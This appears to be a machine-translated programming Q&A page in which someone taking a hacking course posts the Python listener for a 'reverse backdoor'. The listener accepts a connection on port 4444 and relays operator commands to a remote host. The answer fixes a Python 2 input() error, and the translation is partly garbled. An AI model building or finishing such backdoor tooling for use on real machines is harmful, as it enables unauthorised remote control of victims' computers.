我正在用Zaid的Udemy course做一个反向后门 不知怎的,我遇到了这个错误,Erorr image 请告诉我如何解决这个问题
问候,, 雅利安病毒
后门的代码
import socket , json
class Listner:
def __init__(self,ip,port):
listner = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listner.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listner.bind((ip,port))
print("[+] Waiting for incoming connections")
listner.listen(0)
self.connection ,address = listner.accept()
print("[+] Got a connection form" + str(address))
def reliable_send(self,data):
json_data = json.dumps(data)
self.connection.send(json_data.encode('utf-8'))
def reliable_recv(self):
json_data = ""
while True:
try:
json_data = json_data + self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue
def execute_remote(self,command):
self.reliable_send(command)
if command[0] == "exit":
self.connection.close()
exit()
return self.reliable_recv()
def run(self):
while True:
command = input(">> ")
command = command.split(" ")
result = self.execute_remote(command)
print(result)
mylistner = Listner("172.21.38.172",4444)
mylistner.run()
克劳斯是对的;你错了。将
dir
输入command
后,command.split(" ")
明确指出您使用的是Python 2,其中^{} 相当于
eval(raw_input())
您可以使用验证版本2在Python2中编写
dir.split(" ")
时会出现相同的错误如果要继续使用Python 2,可以使用^{} 或引用所有输入字符串
相关问题 更多 >
编程相关推荐